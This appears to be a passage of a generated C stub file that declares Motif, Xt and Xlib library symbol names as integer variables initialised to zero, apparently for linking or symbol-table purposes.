int XmStringByteStreamLength = 0;
int _XmStringCacheFree = 0;
int _XmStringCacheGet = 0;
int _XmStringCacheTag = 0;
int _XmStringCharacterCount = 0;
int XmStringCompare = 0;
int XmStringComponentCreate = 0;
int XmStringConcat = 0;
int XmStringConcatAndFree = 0;
int _XmStringContextCopy = 0;
int _XmStringContextFree = 0;
int _XmStringContextReInit = 0;
int _XmStringCopy = 0;
int XmStringCopy = 0;
int _XmStringCreate = 0;
int XmStringCreate = 0;
int _XmStringCreateExternal = 0;
int XmStringCreateFontList = 0;
int XmStringCreateFontList_r = 0;
int XmStringCreateLocalized = 0;
int XmStringCreateLtoR = 0;
int XmStringCreateSimple = 0;
int XmStringDirectionCreate = 0;
int XmStringDirectionToDirection = 0;
int _XmStringDraw = 0;
int XmStringDraw = 0;
int _XmStringDrawImage = 0;
int XmStringDrawImage = 0;
int _XmStringDrawLining = 0;
int _XmStringDrawMnemonic = 0;
int _XmStringDrawSegment = 0;
int _XmStringDrawUnderline = 0;
int XmStringDrawUnderline = 0;
int _XmStringEmpty = 0;
int XmStringEmpty = 0;
int _XmStringEntryCopy = 0;
int _XmStringEntryFree = 0;
int _XmStringExtent = 0;
int XmStringExtent = 0;
int _XmStringFree = 0;
int XmStringFree = 0;
int _XmStringFreeContext = 0;
int XmStringFreeContext = 0;
int XmStringGenerate = 0;
int _XmStringGetBaselines = 0;
int _XmStringGetCurrentCharset = 0;
int XmStringGetLtoR = 0;
int XmStringGetNextComponent = 0;
int _XmStringGetNextSegment = 0;
int XmStringGetNextSegment = 0;
int _XmStringGetNextTabWidth = 0;
int XmStringGetNextTriple = 0;
int _XmStringGetSegment = 0;
int _XmStringGetTextConcat = 0;
int _XmStringHasSubstring = 0;
int XmStringHasSubstring = 0;
int _XmStringHeight = 0;
int XmStringHeight = 0;
int _XmStringIndexCacheTag = 0;
int _XmStringIndexGetTag = 0;
int _XmStringInitContext = 0;
int XmStringInitContext = 0;
int _XmStringIsCurrentCharset = 0;
int XmStringIsVoid = 0;
int _XmStringIsXmString = 0;
int _XmStringLayout = 0;
int XmStringLength = 0;
int _XmStringLineCount = 0;
int XmStringLineCount = 0;
int XmStringLtoRCreate = 0;
int XmStringNConcat = 0;
int XmStringNCopy = 0;
int _XmStringNCreate = 0;
int _XmStringOptToNonOpt = 0;
int XmStringParseText = 0;
int XmStringPeekNextComponent = 0;
int XmStringPeekNextTriple = 0;
int XmStringPutRendition = 0;
int _XmStringRender = 0;
int _XmStrings = 0;
int _XmStrings22 = 0;
int _XmStrings23 = 0;
int _XmStringsAreEqual = 0;
int XmStringSegmentCreate = 0;
int _XmStringSegmentExtents = 0;
int _XmStringSegmentNew = 0;
int XmStringSeparatorCreate = 0;
int _XmStringsI = 0;
int _XmStringSingleSegment = 0;
int _XmStringSourceCreate = 0;
int _XmStringSourceDestroy = 0;
int _XmStringSourceFindString = 0;
int _XmStringSourceGetEditable = 0;
int _XmStringSourceGetMaxLength = 0;
int _XmStringSourceGetPending = 0;
int _XmStringSourceGetString = 0;
int _XmStringSourceGetValue = 0;
int _XmStringSourceHasSelection = 0;
int _XmStringSourceSetEditable = 0;
int _XmStringSourceSetGappedBuffer = 0;
int _XmStringSourceSetMaxLength = 0;
int _XmStringSourceSetPending = 0;
int _XmStringSourceSetValue = 0;
int XmStringTableParseStringArray = 0;
int XmStringTableProposeTablist = 0;
int XmStringTableToXmString = 0;
int XmStringTableUnparse = 0;
int XmStringToXmStringTable = 0;
int _XmStringTruncateASN1 = 0;
int _XmStringUngenerate = 0;
int XmStringUnparse = 0;
int _XmStringUpdate = 0;
int _XmStringUpdateWMShellTitle = 0;
int _XmStringWidth = 0;
int XmStringWidth = 0;
int _XmStroughColor = 0;
int _XmSunitType = 0;
int _XmSunmapCallback = 0;
int _XmSunpostBehavior = 0;
int _XmSunselectPixmap = 0;
int _XmSupdateSliderSize = 0;
int _XmSuseAsyncGeometry = 0;
int _XmSuserData = 0;
int _XmSvalidCursorForeground = 0;
int _XmSvalueChangedCallback = 0;
int _XmSvalueWcs = 0;
int _XmSverifyBell = 0;
int _XmSverticalFontUnit = 0;
int _XmSverticalScrollBar = 0;
int _XmSverticalSpacing = 0;
int _XmSvisibleItemCount = 0;
int _XmSvisibleWhenOff = 0;
int _XmSvisualPolicy = 0;
int _XmSWGetClipArea = 0;
int _XmSwhichButton = 0;
int _XmSWNotifyGeoChange = 0;
int _XmSwordWrap = 0;
int _XmSworkWindow = 0;
int _XmSyncDropSiteTree = 0;
int XmTabAttributesFree = 0;
int XmTabbedStackListAppend = 0;
int _XmTabbedStackListArray = 0;
int XmTabbedStackListCompare = 0;
int XmTabbedStackListCopy = 0;
int _XmTabbedStackListCount = 0;
int XmTabbedStackListCreate = 0;
int XmTabbedStackListFind = 0;
int XmTabbedStackListFree = 0;
int _XmTabbedStackListGet = 0;
int XmTabbedStackListInsert = 0;
int XmTabbedStackListModify = 0;
int XmTabbedStackListQuery = 0;
int XmTabbedStackListRemove = 0;
int XmTabbedStackListSimpleAppend = 0;
int XmTabbedStackListSimpleInsert = 0;
int XmTabbedStackListSimpleModify = 0;
int XmTabbedStackListSimpleQuery = 0;
int XmTabbedStackListSimpleRemove = 0;
int _XmTabBoxCanvas = 0;
int xmTabBoxClassRec = 0;
int XmTabBoxGetIndex = 0;
int _XmTabBoxGetMaxTabHeight = 0;
int _XmTabBoxGetMaxTabWidth = 0;
int XmTabBoxGetNumColumns = 0;
int XmTabBoxGetNumRows = 0;
int _XmTabBoxGetNumRowsColumns = 0;
int XmTabBoxGetNumTabs = 0;
int _XmTabBoxGetTabHeight = 0;
int XmTabBoxGetTabRow = 0;
int _XmTabBoxGetTabWidth = 0;
int _XmTabBoxSelectTab = 0;
int _XmTabBoxStackedGeometry = 0;
int xmTabBoxWidgetClass = 0;
int XmTabBoxXYToIndex = 0;
int xmTabCanvasClassRec = 0;
int xmTabCanvasWidgetClass = 0;
int _XmTabCopy = 0;
int XmTabCreate = 0;
int XmTabFree = 0;
int XmTabGetValues = 0;
int _XmTabListAdd = 0;
int XmTabListCopy = 0;
int _XmTabListDelete = 0;
int XmTabListFree = 0;
int _XmTabListGetPosition = 0;
int XmTabListGetTab = 0;
int XmTabListInsertTabs = 0;
int XmTabListRemoveTabs = 0;
int XmTabListReplacePositions = 0;
int XmTabListTabCount = 0;
int XmTabSetValue = 0;
int xmTabStackClassRec = 0;
int XmTabStackGetSelectedTab = 0;
int XmTabStackIndexToWidget = 0;
int XmTabStackSelectTab = 0;
int xmTabStackWidgetClass = 0;
int XmTargetsAreCompatible = 0;
int _XmTargetsToIndex = 0;
int _XmTearOffB_overrideTranslations = 0;
int _XmTearOffBPrimClassExtRec = 0;
int _XmTearOffBtnDownEventHandler = 0;
int _XmTearOffBtnUpEventHandler = 0;
int xmTearOffButtonClassRec = 0;
int xmTearOffButtonWidgetClass = 0;
int _XmTearOffInitiate = 0;
int _XmTestTraversability = 0;
int _XmTextAdjustGC = 0;
int _XmTextBytesToCharacters = 0;
int _XmTextChangeBlinkBehavior = 0;
int _XmTextChangeHOffset = 0;
int _XmTextChangeVOffset = 0;
int _XmTextCharactersToBytes = 0;
int xmTextClassRec = 0;
int _XmTextClearDestination = 0;
int XmTextClearSelection = 0;
int _XmTextConvert = 0;
int XmTextCopy = 0;
int XmTextCopyLink = 0;
int _XmTextCountCharacters = 0;
int XmTextCut = 0;
int _XmTextDestinationVisible = 0;
int _XmTextDisableRedisplay = 0;
int XmTextDisableRedisplay = 0;
int _XmTextDrawDestination = 0;
int _XmTextEnableRedisplay = 0;
int XmTextEnableRedisplay = 0;
int _XmTextEventBindings1 = 0;
int _XmTextEventBindings2 = 0;
int _XmTextEventBindings3 = 0;
int _XmTextF_EventBindings1 = 0;
int _XmTextF_EventBindings2 = 0;
int _XmTextF_EventBindings3 = 0;
int xmTextFieldClassRec = 0;
int XmTextFieldClearSelection = 0;
int _XmTextFieldConvert = 0;
int XmTextFieldCopy = 0;
int XmTextFieldCopyLink = 0;
int _XmTextFieldCountBytes = 0;
int _XmTextFieldCountCharacters = 0;
int XmTextFieldCut = 0;
int _XmTextFieldDeselectSelection = 0;
int _XmTextFieldDestinationVisible = 0;
int _XmTextFieldDrawInsertionPoint = 0;
int XmTextFieldGetAddMode = 0;
int XmTextFieldGetBaseline = 0;
int XmTextFieldGetBaseLine = 0;
int XmTextFieldGetCursorPosition = 0;
int _XmTextFieldGetDropReciever = 0;
int XmTextFieldGetEditable = 0;
int XmTextFieldGetInsertionPosition = 0;
int XmTextFieldGetLastPosition = 0;
int XmTextFieldGetMaxLength = 0;
int XmTextFieldGetSelection = 0;
int XmTextFieldGetSelectionPosition = 0;
int XmTextFieldGetSelectionWcs = 0;
int XmTextFieldGetString = 0;
int XmTextFieldGetStringWcs = 0;
int XmTextFieldGetSubstring = 0;
int XmTextFieldGetSubstringWcs = 0;
int _XmTextFieldHandleSecondaryFinished = 0;
int XmTextFieldInsert = 0;
int XmTextFieldInsertWcs = 0;
int _XmTextFieldInstallTransferTrait = 0;
int _XmTextFieldLoseSelection = 0;
int XmTextFieldPaste = 0;
int XmTextFieldPasteLink = 0;
int XmTextFieldPosToXY = 0;
int XmTextFieldRemove = 0;
int XmTextFieldReplace = 0;
int _XmTextFieldReplaceText = 0;
int XmTextFieldReplaceWcs = 0;
int XmTextFieldSetAddMode = 0;
int _XmTextFieldSetClipRect = 0;
int _XmTextFieldSetCursorPosition = 0;
int XmTextFieldSetCursorPosition = 0;
int _XmTextFieldSetDestination = 0;
int XmTextFieldSetEditable = 0;
int XmTextFieldSetHighlight = 0;
int XmTextFieldSetInsertionPosition = 0;
int XmTextFieldSetMaxLength = 0;
int _XmTextFieldSetSel2 = 0;
int XmTextFieldSetSelection = 0;
int XmTextFieldSetString = 0;
int XmTextFieldSetStringWcs = 0;
int XmTextFieldShowPosition = 0;
int _XmTextFieldStartSelection = 0;
int xmTextFieldWidgetClass = 0;
int XmTextFieldXYToPos = 0;
int _XmTextFindLineEnd = 0;
int _XmTextFindScroll = 0;
int XmTextFindString = 0;
int _XmTextFindStringBackwards = 0;
int _XmTextFindStringForwards = 0;
int XmTextFindStringWcs = 0;
int _XmTextFPrimClassExtRec = 0;
int _XmTextFreeContextData = 0;
int _XmTextFToggleCursorGC = 0;
int XmTextGetAddMode = 0;
int _XmTextGetAnchor = 0;
int XmTextGetBaseline = 0;
int _XmTextGetBaseLine = 0;
int XmTextGetBaseLine = 0;
int _XmTextGetBaselines = 0;
int XmTextGetCenterline = 0;
int XmTextGetCursorPosition = 0;
int _XmTextGetDisplayRect = 0;
int _XmTextGetDropReciever = 0;
int XmTextGetEditable = 0;
int XmTextGetInsertionPosition = 0;
int XmTextGetLastPosition = 0;
int _XmTextGetLineTable = 0;
int XmTextGetMaxLength = 0;
int _XmTextGetNumberLines = 0;
int _XmTextGetSel2 = 0;
int XmTextGetSelection = 0;
int XmTextGetSelectionPosition = 0;
int XmTextGetSelectionWcs = 0;
int XmTextGetSource = 0;
int XmTextGetString = 0;
int XmTextGetStringWcs = 0;
int XmTextGetSubstring = 0;
int XmTextGetSubstringWcs = 0;
int _XmTextGetTableIndex = 0;
int XmTextGetTopCharacter = 0;
int _XmTextGetTotalLines = 0;
int _XmTextHandleSecondaryFinished = 0;
int _XmTextHasDestination = 0;
int _XmTextInputCreate = 0;
int _XmTextInputGetSecResData = 0;
int XmTextInsert = 0;
int XmTextInsertWcs = 0;
int _XmTextInstallTransferTrait = 0;
int _XmTextInvalidate = 0;
int _XmTextIn_XmTextEventBindings1 = 0;
int _XmTextIn_XmTextEventBindings2 = 0;
int _XmTextIn_XmTextEventBindings3 = 0;
int _XmTextIn_XmTextVEventBindings = 0;
int _XmTextLineInfo = 0;
int _XmTextLoseSelection = 0;
int _XmTextMarginsProc = 0;
int _XmTextMarkRedraw = 0;
int _XmTextModifyVerify = 0;
int _XmTextMovingCursorPosition = 0;
int _XmTextNeedsPendingDeleteDis = 0;
int _XmTextNumLines = 0;
int _XmTextOutLoadGCsAndRecolorCursors = 0;
int _XmTextOutputCreate = 0;
int _XmTextOutputGetSecResData = 0;
int XmTextPaste = 0;
int XmTextPasteLink = 0;
int _XmTextPosToLine = 0;
int XmTextPosToXY = 0;
int _XmTextPrimClassExtRec = 0;
int _XmTextRealignLineTable = 0;
int XmTextRemove = 0;
int _XmTextReplace = 0;
int XmTextReplace = 0;
int XmTextReplaceWcs = 0;
int _XmTextResetClipOrigin = 0;
int _XmTextResetIC = 0;
int XmTextScroll = 0;
int _XmTextScrollable = 0;
int XmTextSetAddMode = 0;
int _XmTextSetCursorPosition = 0;
int XmTextSetCursorPosition = 0;
int _XmTextSetDestinationSelection = 0;
int _XmTextSetEditable = 0;
int XmTextSetEditable = 0;
int _XmTextSetHighlight = 0;
int XmTextSetHighlight = 0;
int XmTextSetInsertionPosition = 0;
int XmTextSetMaxLength = 0;
int _XmTextSetPreeditPosition = 0;
int _XmTextSetSel2 = 0;
int XmTextSetSelection = 0;
int XmTextSetSource = 0;
int XmTextSetString = 0;
int XmTextSetStringWcs = 0;
int _XmTextSetTopCharacter = 0;
int XmTextSetTopCharacter = 0;
int _XmTextShouldWordWrap = 0;
int _XmTextShowPosition = 0;
int XmTextShowPosition = 0;
int _XmTextToggleCursorGC = 0;
int _XmTextToLocaleText = 0;
int _XmTextUpdateLineTable = 0;
int _XmTextValidate = 0;
int _XmTextValueChanged = 0;
int xmTextWidgetClass = 0;
int XmTextXYToPos = 0;
int _XmToggleBCacheCompare = 0;
int _XmToggleB_defaultTranslations = 0;
int _XmToggleBGadClassExtRec = 0;
int _XmToggleB_menuTranslations = 0;
int _XmToggleBPrimClassExtRec = 0;
int xmToggleButtonClassRec = 0;
int xmToggleButtonGadgetClass = 0;
int xmToggleButtonGadgetClassRec = 0;
int XmToggleButtonGadgetGetState = 0;
int XmToggleButtonGadgetSetState = 0;
int XmToggleButtonGadgetSetValue = 0;
int xmToggleButtonGCacheObjClassRec = 0;
int XmToggleButtonGetState = 0;
int XmToggleButtonSetState = 0;
int XmToggleButtonSetValue = 0;
int xmToggleButtonWidgetClass = 0;
int _XmToHorizontalPixels = 0;
int _XmToLayoutDirection = 0;
int _XmToolTipEnter = 0;
int XmToolTipGetLabel = 0;
int _XmToolTipLeave = 0;
int _XmToolTipRemove = 0;
int _XmToPanedPixels = 0;
int _XmTopShadowColorDefault = 0;
int _XmTopShadowPixmapDefault = 0;
int _XmToVerticalPixels = 0;
int XmTrackingEvent = 0;
int XmTrackingLocate = 0;
int _XmTrackShellFocus = 0;
int XmTransferDone = 0;
int _XmTransferGetDestinationCBStruct = 0;
int XmTransferSendRequest = 0;
int XmTransferSetParameters = 0;
int XmTransferStartRequest = 0;
int XmTransferValue = 0;
int _XmTransformSubResources = 0;
int XmTranslateKey = 0;
int _XmTraverse = 0;
int _XmTraverseAway = 0;
int _XmTraverseDown = 0;
int _XmTraverseHome = 0;
int _XmTraverseLeft = 0;
int _XmTraverseNext = 0;
int _XmTraverseNextTabGroup = 0;
int _XmTraversePrev = 0;
int _XmTraversePrevTabGroup = 0;
int _XmTraverseRight = 0;
int _XmTraverseUp = 0;
int _XmTravGraphAdd = 0;
int _XmTravGraphRemove = 0;
int _XmTravGraphUpdate = 0;
int xmTreeClassRec = 0;
int xmTreeWidgetClass = 0;
int XmuNCopyISOLatin1Lowered = 0;
int _XmUnhighlightBorder = 0;
int XmUninstallImage = 0;
int _XmUnitTypeDefault = 0;
int XmUpdateDisplay = 0;
int _XmUseColorObj = 0;
int xmUseVersion = 0;
int _XmUtf8ToUcs2 = 0;
int _XmUtilIsSubclassByNameQ = 0;
int XmVaCreateArrowButton = 0;
int XmVaCreateArrowButtonGadget = 0;
int XmVaCreateBulletinBoard = 0;
int XmVaCreateButtonBox = 0;
int XmVaCreateCascadeButton = 0;
int XmVaCreateCascadeButtonGadget = 0;
int XmVaCreateColorSelector = 0;
int XmVaCreateColumn = 0;
int XmVaCreateCombinationBox2 = 0;
int XmVaCreateComboBox = 0;
int XmVaCreateCommand = 0;
int XmVaCreateContainer = 0;
int XmVaCreateDataField = 0;
int XmVaCreateDrawingArea = 0;
int XmVaCreateDrawnButton = 0;
int XmVaCreateDropDown = 0;
int XmVaCreateExt18List = 0;
int XmVaCreateFileSelectionBox = 0;
int XmVaCreateForm = 0;
int XmVaCreateFrame = 0;
int XmVaCreateIconGadget = 0;
int XmVaCreateLabel = 0;
int XmVaCreateLabelGadget = 0;
int XmVaCreateList = 0;
int XmVaCreateMainWindow = 0;
int XmVaCreateManagedArrowButton = 0;
int XmVaCreateManagedArrowButtonGadget = 0;
int XmVaCreateManagedBulletinBoard = 0;
int XmVaCreateManagedButtonBox = 0;
int XmVaCreateManagedCascadeButton = 0;
int XmVaCreateManagedCascadeButtonGadget = 0;
int XmVaCreateManagedColorSelector = 0;
int XmVaCreateManagedColumn = 0;
int XmVaCreateManagedCombinationBox2 = 0;
int XmVaCreateManagedComboBox = 0;
int XmVaCreateManagedCommand = 0;
int XmVaCreateManagedContainer = 0;
int XmVaCreateManagedDataField = 0;
int XmVaCreateManagedDrawingArea = 0;
int XmVaCreateManagedDrawnButton = 0;
int XmVaCreateManagedDropDown = 0;
int XmVaCreateManagedExt18List = 0;
int XmVaCreateManagedFileSelectionBox = 0;
int XmVaCreateManagedForm = 0;
int XmVaCreateManagedFrame = 0;
int XmVaCreateManagedIconGadget = 0;
int XmVaCreateManagedLabel = 0;
int XmVaCreateManagedLabelGadget = 0;
int XmVaCreateManagedList = 0;
int XmVaCreateManagedMainWindow = 0;
int XmVaCreateManagedMessageBox = 0;
int XmVaCreateManagedMultiList = 0;
int XmVaCreateManagedNotebook = 0;
int XmVaCreateManagedPanedWindow = 0;
int XmVaCreateManagedPushButton = 0;
int XmVaCreateManagedPushButtonGadget = 0;
int XmVaCreateManagedRowColumn = 0;
int XmVaCreateManagedScale = 0;
int XmVaCreateManagedScrollBar = 0;
int XmVaCreateManagedScrolledWindow = 0;
int XmVaCreateManagedSelectionBox = 0;
int XmVaCreateManagedSeparator = 0;
int XmVaCreateManagedSeparatorGadget = 0;
int XmVaCreateManagedSimpleSpinBox = 0;
int XmVaCreateManagedSpinBox = 0;
int XmVaCreateManagedTabStack = 0;
int XmVaCreateManagedText = 0;
int XmVaCreateManagedTextField = 0;
int XmVaCreateManagedToggleButton = 0;
int XmVaCreateManagedToggleButtonGadget = 0;
int XmVaCreateMessageBox = 0;
int XmVaCreateMultiList = 0;
int XmVaCreateNotebook = 0;
int XmVaCreatePanedWindow = 0;
int XmVaCreatePushButton = 0;
int XmVaCreatePushButtonGadget = 0;
int XmVaCreateRowColumn = 0;
int XmVaCreateScale = 0;
int XmVaCreateScrollBar = 0;
int XmVaCreateScrolledWindow = 0;
int XmVaCreateSelectionBox = 0;
int XmVaCreateSeparator = 0;
int XmVaCreateSeparatorGadget = 0;
int XmVaCreateSimpleCheckBox = 0;
int XmVaCreateSimpleMenuBar = 0;
int XmVaCreateSimpleOptionMenu = 0;
int XmVaCreateSimplePopupMenu = 0;
int XmVaCreateSimplePulldownMenu = 0;
int XmVaCreateSimpleRadioBox = 0;
int XmVaCreateSimpleSpinBox = 0;
int XmVaCreateSpinBox = 0;
int XmVaCreateTabStack = 0;
int XmVaCreateText = 0;
int XmVaCreateTextField = 0;
int XmVaCreateToggleButton = 0;
int XmVaCreateToggleButtonGadget = 0;
int _XmValidateFocus = 0;
int _XmValidCursorIconQuark = 0;
int _XmValidTimestamp = 0;
int _XmVaToTypedArgList = 0;
int _XmVendorExtRealize = 0;
int xmVendorShellExtClassRec = 0;
int xmVendorShellExtObjectClass = 0;
int _XmVersionString = 0;
int _XmVirtKeys_acornFallbackBindingString = 0;
int _XmVirtKeys_apolloFallbackBindingString = 0;
int _XmVirtKeys_dblclkFallbackBindingString = 0;
int _XmVirtKeys_decFallbackBindingString = 0;
int _XmVirtKeysDestroy = 0;
int _XmVirtKeys_dgFallbackBindingString = 0;
int _XmVirtKeys_fallbackBindingString = 0;
int _XmVirtKeysHandler = 0;
int _XmVirtKeys_hpFallbackBindingString = 0;
int _XmVirtKeys_ibmFallbackBindingString = 0;
int _XmVirtKeys_ingrFallbackBindingString = 0;
int _XmVirtKeysInitialize = 0;
int _XmVirtKeysLoadFallbackBindings = 0;
int _XmVirtKeysLoadFileBindings = 0;
int _XmVirtKeys_megatekFallbackBindingString = 0;
int _XmVirtKeys_motorolaFallbackBindingString = 0;
int _XmVirtKeys_sgiFallbackBindingString = 0;
int _XmVirtKeys_siemens9733FallbackBindingString = 0;
int _XmVirtKeys_siemensWx200FallbackBindingString = 0;
int _XmVirtKeys_sunFallbackBindingString = 0;
int _XmVirtKeys_tekFallbackBindingString = 0;
int _XmVirtualToActualKeysym = 0;
int _XmWarning = 0;
int _XmWarningMsg = 0;
int _XmWhitePixel = 0;
int _XmWidgetFocusChange = 0;
int XmWidgetGetBaselines = 0;
int XmWidgetGetDisplayRect = 0;
int _XmWidgetIsTraversable = 0;
int xmWorldClass = 0;
int xmWorldClassRec = 0;
int xmWorldObjectClass = 0;
int _XmWriteDragBuffer = 0;
int _XmWriteDSToStream = 0;
int _XmWriteInitiatorInfo = 0;
int _XmXftDrawCreate = 0;
int _XmXftDrawDestroy = 0;
int _XmXftDrawString = 0;
int _XmXftDrawString2 = 0;
int _XmXftFontAverageWidth = 0;
int _XmXftGetXftColor = 0;
int _XmXftSetClipRectangles = 0;
int _Xmxpmatoui = 0;
int _XmxpmColorKeys = 0;
int _XmxpmCreateImageFromPixmap = 0;
int _XmxpmCreatePixmapFromImage = 0;
int _XmxpmDataTypes = 0;
int _XmxpmFreeColorTable = 0;
int _XmxpmFreeRgbNames = 0;
int _XmxpmGetCmt = 0;
int _XmxpmGetRgbName = 0;
int _XmxpmGetString = 0;
int _XmxpmHashIntern = 0;
int _XmxpmHashSlot = 0;
int _XmxpmHashTableFree = 0;
int _XmxpmHashTableInit = 0;
int _XmxpmInitAttributes = 0;
int _XmxpmInitXpmImage = 0;
int _XmxpmInitXpmInfo = 0;
int _XmxpmNextString = 0;
int _XmxpmNextUI = 0;
int _XmxpmNextWord = 0;
int _XmxpmParseColors = 0;
int _XmxpmParseData = 0;
int _XmxpmParseDataAndCreate = 0;
int _XmxpmParseExtensions = 0;
int _XmxpmParseHeader = 0;
int _XmxpmParseValues = 0;
int _XmxpmReadRgbNames = 0;
int _XmxpmSetAttributes = 0;
int _XmxpmSetInfo = 0;
int _XmxpmSetInfoMask = 0;
int _Xmxpm_xynormalizeimagebits = 0;
int _Xmxpm_znormalizeimagebits = 0;
int XNextEvent = 0;
int XOffsetRegion = 0;
int XOMOfOC = 0;
int XOpenDisplay = 0;
int XOpenIM = 0;
int XParseColor = 0;
int XPeekEvent = 0;
int XPending = 0;
int Xpms_popen = 0;
int XPolygonRegion = 0;
int XPutBackEvent = 0;
int XPutImage = 0;
int XQueryBestCursor = 0;
int XQueryColor = 0;
int XQueryColors = 0;
int XQueryPointer = 0;
int XQueryTree = 0;
int XRaiseWindow = 0;
int XReadBitmapFileData = 0;
int XRecolorCursor = 0;
int XRectInRegion = 0;
int XReparentWindow = 0;
int XrmCombineDatabase = 0;
int XrmDestroyDatabase = 0;
int XrmGetStringDatabase = 0;
int XrmPermStringToQuark = 0;
int XrmPutResource = 0;
int XrmPutStringResource = 0;
int XrmQGetResource = 0;
int XrmQGetSearchList = 0;
int XrmQGetSearchResource = 0;
int XrmQuarkToString = 0;
int XrmStringToQuark = 0;
int XrmUniqueQuark = 0;
int XRotateBuffers = 0;
int XSaveContext = 0;
int XScreenCount = 0;
int XScreenNumberOfScreen = 0;
int XScreenOfDisplay = 0;
int XSelectInput = 0;
int XSendEvent = 0;
int XSetClipMask = 0;
int XSetClipOrigin = 0;
int XSetClipRectangles = 0;
int XSetCloseDownMode = 0;
int XSetErrorHandler = 0;
int XSetFillStyle = 0;
int XSetForeground = 0;
int XSetFunction = 0;
int XSetICFocus = 0;
int XSetICValues = 0;
int XSetInputFocus = 0;
int XSetLineAttributes = 0;
int XSetLocaleModifiers = 0;
int XSetOCValues = 0;
int XSetRegion = 0;
int XSetSelectionOwner = 0;
int XSetStipple = 0;
int XSetTextProperty = 0;
int XSetTSOrigin = 0;
int XSetWindowBackground = 0;
int XSetWindowBackgroundPixmap = 0;
int XSetWMColormapWindows = 0;
int XShapeCombineMask = 0;
int XShapeCombineRectangles = 0;
int XShapeQueryExtension = 0;
int __xstat64 = 0;
int XStoreBuffer = 0;
int XStoreColor = 0;
int XStringToKeysym = 0;
int XSubtractRegion = 0;
int XSync = 0;
int XtAddCallback = 0;
int XtAddEventHandler = 0;
int XtAddGrab = 0;
int XtAddRawEventHandler = 0;
int XtAllocateGC = 0;
int XtAppAddTimeOut = 0;
int XtAppAddWorkProc = 0;
int XtAppCreateShell = 0;
int XtAppErrorMsg = 0;
int XtAppGetExitFlag = 0;
int XtAppGetSelectionTimeout = 0;
int XtAppLock = 0;
int XtAppNextEvent = 0;
int XtAppPending = 0;
int XtAppProcessEvent = 0;
int XtAppSetSelectionTimeout = 0;
int XtAppSetTypeConverter = 0;
int XtAppSetWarningMsgHandler = 0;
int XtAppUnlock = 0;
int XtAppWarningMsg = 0;
int XtAugmentTranslations = 0;
int XtBuildEventMask = 0;
int XtCallActionProc = 0;
int XtCallCallbackList = 0;
int XtCallCallbacks = 0;
int XtCallConverter = 0;
int XtCalloc = 0;
int XtCancelSelectionRequest = 0;
int XtConfigureWidget = 0;
int XtConvertAndStore = 0;
int XtConvertCase = 0;
int XtCreateManagedWidget = 0;
int XtCreatePopupShell = 0;
int XtCreateSelectionRequest = 0;
int XtCreateWidget = 0;
int XtCreateWindow = 0;
int XtCvtStringToFontSet = 0;
int XtCvtStringToFontStruct = 0;
int XtCvtStringToPixel = 0;
int XtDatabase = 0;
int XtDestroyApplicationContext = 0;
int XtDestroyWidget = 0;
int XtDisownSelection = 0;
int XtDispatchEvent = 0;
int XtDisplayOfObject = 0;
int XtDisplayStringConversionWarning = 0;
int XtDisplayToApplicationContext = 0;
int XtError = 0;
int XtErrorMsg = 0;
int XTextExtents = 0;
int XTextExtents16 = 0;
int XTextWidth = 0;
int XTextWidth16 = 0;
int XtFree = 0;
int XtGetActionKeysym = 0;
int XtGetApplicationNameAndClass = 0;
int XtGetApplicationResources = 0;
int XtGetConstraintResourceList = 0;
int XtGetErrorDatabaseText = 0;
int XtGetGC = 0;
int XtGetKeysymTable = 0;
int XtGetMultiClickTime = 0;
int XtGetResourceList = 0;
int XtGetSelectionParameters = 0;
int XtGetSelectionRequest = 0;
int XtGetSelectionValue = 0;
int XtGetSelectionValueIncremental = 0;
int XtGetSelectionValues = 0;
int XtGetSelectionValuesIncremental = 0;
int XtGetSubresources = 0;
int XtGetSubvalues = 0;
int XtGetValues = 0;
int XtGrabButton = 0;
int XtGrabKey = 0;
int XtGrabKeyboard = 0;
int XtGrabPointer = 0;
int XtHasCallbacks = 0;
int _XtInherit = 0;
int _XtInheritTranslations = 0;
int XtInitializeWidgetClass = 0;
int XtInsertEventHandler = 0;
int XtInstallAccelerators = 0;
int XtIsManaged = 0;
int XtIsSensitive = 0;
int XtIsSubclass = 0;
int _XtIsSubclassOf = 0;
int XtLastEventProcessed = 0;
int XtLastTimestampProcessed = 0;
int XtMakeGeometryRequest = 0;
int XtMakeResizeRequest = 0;
int XtMalloc = 0;
int XtManageChild = 0;
int XtManageChildren = 0;
int XtMergeArgLists = 0;
int XtMoveWidget = 0;
int XtName = 0;
int XtNameToWidget = 0;
int XtOverrideTranslations = 0;
int XtOwnSelection = 0;
int XtOwnSelectionIncremental = 0;
int XtParseAcceleratorTable = 0;
int XtParseTranslationTable = 0;
int XtPopdown = 0;
int XtPopup = 0;
int XtProcessLock = 0;
int XtProcessUnlock = 0;
int XtQueryGeometry = 0;
int XTranslateCoordinates = 0;
int XtRealizeWidget = 0;
int XtRealloc = 0;
int XtRegisterGrabAction = 0;
int XtReleaseGC = 0;
int XtRemoveAllCallbacks = 0;
int XtRemoveCallback = 0;
int XtRemoveEventHandler = 0;
int XtRemoveGrab = 0;
int XtRemoveTimeOut = 0;
int XtRemoveWorkProc = 0;
int XtResizeWidget = 0;
int XtResolvePathname = 0;
int XtScreenDatabase = 0;
int XtScreenOfObject = 0;
int XtSendSelectionRequest = 0;
int XtSetKeyboardFocus = 0;
int XtSetKeyTranslator = 0;
int XtSetMappedWhenManaged = 0;
int XtSetSelectionParameters = 0;
int XtSetSensitive = 0;
int XtSetSubvalues = 0;
int XtSetTypeConverter = 0;
int XtSetValues = 0;
int XtShellStrings = 0;
int XtStrings = 0;
int XtTranslateCoords = 0;
int XtTranslateKey = 0;
int XtUngrabButton = 0;
int XtUngrabKey = 0;
int XtUngrabKeyboard = 0;
int XtUngrabPointer = 0;
int XtUnmanageChild = 0;
int XtUnmanageChildren = 0;
int XtVaCreateManagedWidget = 0;
int XtVaCreateWidget = 0;
int XtVaGetValues = 0;
int XtVaSetValues = 0;
int XtWarning = 0;
int XtWarningMsg = 0;
int XtWidgetToApplicationContext = 0;
int XtWindowOfObject = 0;
int XtWindowToWidget = 0;
int XUngrabKeyboard = 0;
int XUngrabPointer = 0;
int XUngrabServer = 0;
int XUnionRectWithRegion = 0;
int XUnionRegion = 0;
int XUnmapWindow = 0;
int XUnsetICFocus = 0;
int Xutf8DrawImageString = 0;
int Xutf8DrawString = 0;
int Xutf8TextEscapement = 0;
int Xutf8TextExtents = 0;
int Xutf8TextListToTextProperty = 0;
int XVaCreateNestedList = 0;
int XWarpPointer = 0;
int XwcDrawImageString = 0;
int XwcDrawString = 0;
int XwcTextEscapement = 0;
int XwcTextExtents = 0;
int XWidthOfScreen = 0;
int XWindowEvent = 0;
